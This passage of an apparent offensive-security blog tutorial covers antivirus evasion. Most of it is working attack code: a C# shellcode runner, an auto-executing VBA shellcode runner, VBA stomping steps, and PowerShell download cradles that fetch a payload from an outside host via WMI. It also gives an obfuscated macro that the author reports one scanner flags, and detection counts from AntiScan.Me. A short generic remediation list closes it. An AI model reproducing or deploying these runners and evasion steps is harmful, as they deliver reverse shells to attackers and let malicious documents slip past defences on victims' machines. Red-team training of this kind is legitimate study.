    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
    uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
    uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle,
    UInt32 dwMilliseconds);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentProcess();

    static void Main(string[] args)
    {
      IntPtr memorypointer = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
      if(memorypointer == null)
      {
        return;
      }

      byte[] buf = new byte[752] {0xfe, 0x4a, 0x85, 0xe6, 0xf2...}
      for(int i = 0; i < buf.Length; i++)
      {
        buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
      }

      int size = buf.Length;

      IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

      Marshal.Copy(buf, 0, addr, size);

      IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

      WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
  }
}
Compiling it and putting it up to AntiScan.me shows the following:

antiscanresmemptr.png

Great job!
Our freshly developed code triggered alerts in just four antivirus products.
By blending straightforward encryption and non-emulated APIs,
we've effectively circumvented the majority of antivirus solutions supported by AntiScan.Me.
With our C# shellcode runner proving successful, we can now broaden our tactics to encompass other attack vectors, including Microsoft Office documents and PowerShell.

Bypassing Antivirus with Microsoft Office

Bypassing Antivirus in VBA

The complete VBA shellcode runner:
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes
As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As
LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As
LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As
Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As
LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function mymacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82,
12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32,
193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120,
227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1,
214, 49, 255, 172, 193, _
...
49, 57, 50, 46, 49, 54, 56, 46, 49, 55, 54, 46, 49, 52, 50, 0, 187, 224, 29, 42, 10,
104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19,
114, 111, 106, 0, 83, 255, 213)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
Sub Document_Open()
mymacro
End Sub
Sub AutoOpen()
mymacro
End Sub

The results:

antiscanresmemptr.png

If we implement the Caesar encryption and the time-lapse detection with the Sleep function,
testing the updated Microsoft Word document through AntiScan.Me yields a surprisingly unchanged detection rate of
7 out of 26.

Considering the impressive effectiveness of the heuristics bypass technique in C#, it's probable that the problem is linked to signature detection. This is understandable considering the widespread use of Microsoft Office documents by malware creators. Because this attack vector is so commonly employed, antivirus providers have devoted considerable resources to its detection. To minimize the detection rate, we will explore a recently developed bypass technique tailored specifically for Microsoft Office.

Last Stomp On Microsoft Word

Word and Excel documents using the modern macro-enabled formats can be
unzipped with 7zip and the contents inspected in a hex editor.
There are no official tools for unwrapping .doc files, so we'll turn to the third party FlexHEX
application, which is preinstalled on our Windows 10 machine part.
Let's use this tool to inspect our most recent revision of the VBA shellcode runner.

We set up an nc listener if we haven't already.

First, we'll open FlexHEX and navigate to File > Open > OLE Compound File...

imagepvoqb2.png

We open the Microsoft Word document in the popped up file browser window.
If we expand the Macro and VBA folders, we obtain this view:

imagew5s.png

This view shows all the embedded files and folders included in the document.
Any content related to VBA macros are located in the Macros folder highlighted above.

For Microsoft Word or Excel documents using the newer macro enabled formats,
all macro-related information is stored in the vbaProject.bin file inside the zipped archive.

The PROJECT file contains project information. Not a surprise.
The graphical VBA editor also determines which macros to show based on the contents of this file.
If we click this file in the Navigator window, the content is displayed in the upper-left window.

As highlighted below, the binary content contains the ASCII
"Module=NewMacros", which is what the GUI editor uses to link the displayed macros.

imagew6s.png

If we could remove this link in the editor, it could hide our macro from within the graphical Office VBA editor.
To remove this link in the graphical editor, we can simply remove the line by replacing it with null bytes.
This is done by highlighting the ASCII string and navigating to Edit > Insert Zero Block, which opens a new window.
We can save the change by clicking OK.

imagew7s.png

With the null bytes saved, we'll close FlexHEX to recompress the file.
View from the Office VBA editor before editing on the left and the result of the edit on the right side:

imagew8s.png

This helps prevent manual detection, but AntiScan.Me reports that we have not reduced the
detection rate since the macro still exists and will still be executed.
However, if we could somehow remove the macro yet still have it execute,
we may enjoy a significant reduction in our detection rate.

To understand how this unlikely scenario is possible, we must dig deeper into the implementation of VBA code. The key concept here is PerformanceCache, which is a structure present in both _VBA_PROJECT and NewMacros as shown below.

imagew5s.png

Examining the documentation reveals that this represents a stored and precompiled rendition of the VBA text-based code, referred to as P-code.
The P-code is essentially a compiled adaptation of the VBA text-based code tailored for the specific edition of Microsoft Office and VBA on which it was originally generated.
To put it differently, when a Microsoft Word document is accessed on a different computer employing the identical version and edition of Microsoft Word, the pre-existing compiled P-code is executed, bypassing the necessity for the VBA interpreter to translate the text-based VBA code.
With the assistance of FlexHEX, we can examine the P-code contained within the NewMacros file, as displayed below.

pword.png

In the right-side pane, we notice the Win32 API names inside the compiled P-code, while the rest of the code is in a pure binary format.

Scrolling towards the bottom of NewMacros, we find a partially-compressed version of the VBA source code.

pword2.png

Even partially compressed, we notice the Win32 API imports in the highlighted part of the figure
following the statement Attribute VB_Name = "New Macros".
The remaining part of the VBA code follows if we were to scroll even further down.

At the beginning of the _VBA_PROJECT file we can see the Microsoft Office and VBA version.

pword3.png

As we will demonstrate, only a few antivirus products actually inspect the P-code at all.
This concept of removing the VBA source code has been termed VBA Stomping.

Let's perform this evasion technique with our encrypted shellcode runner by locating the VBA
source code inside NewMacros as previously shown.
We need to mark the bytes that start with the ASCII characters "Attribute VB_Name" as shown below and select all the remaining bytes.

pword4.png

We are marking to the end of the VBA source code:

pword5.png

We'll navigate to Edit > Insert Zero Block and accept the size
of modifications. The start of the modified VBA source code now looks like this:

pword6.png

Once the VBA source code has been stomped, we'll save the Microsoft Word document and close
FlexHEX to allow it to be re-compressed.
If we open the Word document, we'll notice the "Enable Content" security warning but if we open
the VBA editor, we'll find that the NewMacro container is completely empty.

pword7.png

When we accept the security warning and let the VBA macro execute, we notice two things.
First, we obtain a reverse Meterpreter shell, which demonstrates that even with the VBA source code removed,

the P-code is executed and the attack still works.
Second, the VBA source code has reappeared inside the VBA editor as shown below.
Microsoft Word decompiled the P-code and wrote it back into the editor while executing it.

pword8.png

AntiScan.Me reports an improved detection rate of only four flags.

pword9.png

We can automate this whole process with the EvilClippy.exe tool.
This YouTube video was useful, it is about using EvilClippy.exe:
https://www.youtube.com/watch?v=xlfce2ITeNI

Hiding PowerShell Inside VBA

Basic PowerShell shellcode runner:
Sub MyMacro()
  Dim strArg As String
  strArg = "powershell -exec bypass -nop -c iex((new-object
system.net.webclient).downloadstring('http://10.11.0.100/run.txt'))"
  Shell strArg, vbHide
End Sub

Detection rate of PowerShell shellcode runner:

avtestres.png

There are two main issues that cause the high detection rate: the use of the Shell method and the clearly identifiable PowerShell download cradle.

Now we will attempt to solve both of these issues.
Dechaining with WMI
To address these issues, we’ll first address the issue of PowerShell being a child process of the
Office program by leveraging the Windows Management Instrumentation (WMI) framework.
WMI is an old native part of the Windows operating system that is still poorly documented and relatively unknown.
We can use WMI to query, filter, and resolve a host of information on a Windows operating system.
We can also use it to invoke a multitude of actions, and can even use it to create a new process.

Creating a PowerShell process with WMI:
Sub MyMacro
  strArg = "powershell"
  GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
  Mymacro
End Sub

When the macro is executed, a new PowerShell prompt opens and Process Explorer reveals that
PowerShell is indeed running as a child process of WmiPrvSE.exe and not Microsoft Word.

processexplorer.png

This could certainly work for our purposes, however PowerShell is running as a 64-bit process,
which means we must update the PowerShell shellcode runner script accordingly.
We can update the PowerShell argument for the Create method to include the entire download cradle.

Sub MyMacro
  strArg = "powershell -exec bypass -nop -c iex((new-object
  system.net.webclient).downloadstring('http://10.11.0.100/run.txt'))"
  GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub

Sub AutoOpen()
  Mymacro
End Sub

Let's scan the updated document with AntiScan.Me:

avtestres2.png

Let's reap the benefits of avoiding the Shell method and perform
obfuscation of our VBA macro to further reduce the detection rate.

Obfuscating VBA

Encryption routine in PowerShell:
$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object
system.net.webclient).downloadstring('http://10.11.0.100/run.txt'))"
[string]$output = ""
$payload.ToCharArray() | %{
  [string]$thischar = [byte][char]$_ + 17
  if($thischar.Length -eq 1)
  {
    $thischar = [string]"00" + $thischar
    $output += $thischar
  }
  elseif($thischar.Length -eq 2)
  {
    $thischar = [string]"0" + $thischar
    $output += $thischar
  }
  elseif($thischar.Length -eq 3)
  {
    $output += $thischar
  }
}
$output | clip

Running the PowerShell script produces the following output on the clipboard:
1291281361181311321211181251250490621181371181160491151381291141321320
4906212712812904906213604912112211711711812704906211604912211813705705
7127118136062128115123118116133049132138132133118126063127118133063136
1181151161251221181271330580631171281361271251281141171321331311221271
2005705612113313312907506406406607406706306607107306306606607406306606
7065064115128128124063133137133056058058

Decryption routine using food product names, decrypting and executing the PowerShell download cradle:
Function Pears(Beets)
  Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
  Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
  Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
  Do
  Oatmilk = Oatmilk + Pears(Strawberries(Milk))
  Milk = Almonds(Milk)
  Loop While Len(Milk) > 0
  Nuts = Oatmilk
End Function


Function MyMacro()
  Dim Apples As String
  Dim Water As String
  Apples =
  "1291281361181311321211181251250490621181371181160491151381291141321320490621271281290
  49062136049121122117117118127049062116049122118137057057127118136062128115123118116133
  04913213813213311812606312711813306313611811511612512211812713305806311712813612712512
  81141171321331311221271200570561211331331290750640640660740670630660710730630660660740
  63066067065064115128128124063133137133056058058"
  Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("10412212706806711209713112811
6118132132")).Create Water, Tea, Coffee, Napkin
End Function

Once we execute the encrypted VBA macro, we obtain a Meterpreter reverse shell, proving that
the rather convoluted technique actually works.
We test the document against AntiScan.Me and discover that only two products flag our code:

avtestres3.png

This custom encryption routine reduced our detection rate, but we can push it even further.
Although we have fully encrypted the VBA code, we are likely running into heuristics detection.
There are a number of ways to bypass heuristics in VBA that do not involve the use of Win32 APIs.
One simple technique is to check the document name when the macro runs.

Verifying the name of the document:
If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
  Exit Function
End If

The whole code is this:
Function Pears(Beets)
  Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
  Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
  Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
  Do
  Oatmilk = Oatmilk + Pears(Strawberries(Milk))
  Milk = Almonds(Milk)
  Loop While Len(Milk) > 0
  Nuts = Oatmilk
End Function


Function MyMacro()
  If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
    Exit Function
  End If
  Dim Apples As String
  Dim Water As String
  Apples =
  "1291281361181311321211181251250490621181371181160491151381291141321320490621271281290
  49062136049121122117117118127049062116049122118137057057127118136062128115123118116133
  04913213813213311812606312711813306313611811511612512211812713305806311712813612712512
  81141171321331311221271200570561211331331290750640640660740670630660710730630660660740
  63066067065064115128128124063133137133056058058"
  Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("10412212706806711209713112811
6118132132")).Create Water, Tea, Coffee, Napkin
End Function

As a result, AntiScan.Me reports that our code is only flagged by a single antivirus product!

endoftheline.png

Remediation

Here's a list of actionable steps for defending against antivirus evasion:

1. Keep Antivirus Software Updated:

Ensure your antivirus software is up to date with the latest virus definitions and security patches. Regular updates are crucial for identifying and blocking new threats.

2. Employ Multi-Layered Security:

Implement a multi-layered security approach that includes firewalls, intrusion detection systems, and behavior-based analysis tools in addition to traditional antivirus software. This increases the chances of detecting and blocking malware.

3. Use Endpoint Detection and Response (EDR) Solutions:

EDR solutions provide more advanced threat detection capabilities, including the ability to monitor and analyze endpoint activities for suspicious behavior. They can identify threats that may evade traditional signature-based antivirus solutions.

4. Employ Machine Learning and AI:

Incorporate machine learning and artificial intelligence into your security stack. These technologies can help identify and respond to evolving threats and zero-day attacks more effectively.

5. Harden System Security:

Implement best practices for system hardening, such as disabling unnecessary services, maintaining strong user access controls, and applying the principle of least privilege to limit what users and processes can do on the system.

6. Regularly Patch and Update:

Keep all operating systems, applications, and software updated with the latest security patches. Vulnerabilities in these programs can be exploited by malware to evade antivirus detection.

7. Educate and Train Users:

Train your employees or users to recognize and avoid social engineering attacks, phishing emails, and suspicious downloads. A well-informed workforce is a crucial line of defense against malware.

8. Implement Email and Web Filtering:

Utilize email and web filtering solutions to block malicious attachments, links, and content at the network perimeter before they reach endpoints.

9. Monitor Network Traffic:

Monitor network traffic for anomalies, unusual patterns, or known malicious signatures. Network monitoring can help detect and block malware before it reaches your systems.

10. Implement Endpoint Isolation:

In the event of a suspected compromise, isolate affected endpoints from the network to prevent the lateral movement of malware and limit potential damage.

11. Share Threat Intelligence:

Collaborate with industry peers and subscribe to threat intelligence feeds to stay informed about emerging threats and evasion techniques.

12. Develop an Incident Response Plan:

Have a well-defined incident response plan in place to contain, eradicate, and recover from security incidents, including those involving malware evasion.

13. Conduct Regular Security Audits and Penetration Testing:

Last but definitely not least, perform periodic security audits and penetration testing to identify potential vulnerabilities and weaknesses in your infrastructure. Address any issues promptly.

Conclusion

In conclusion, antivirus evasion is a critical concern in today's cybersecurity landscape.
As threats continue to evolve, so too must our defenses.
By understanding the techniques used by malware to evade detection, we can better protect our digital assets and data from the ever-present danger of cyberattacks.
Stay informed, stay updated, and stay secure.

More advanced antivirus evasion techniques coming soon...


~Thank you for reading~

Useful references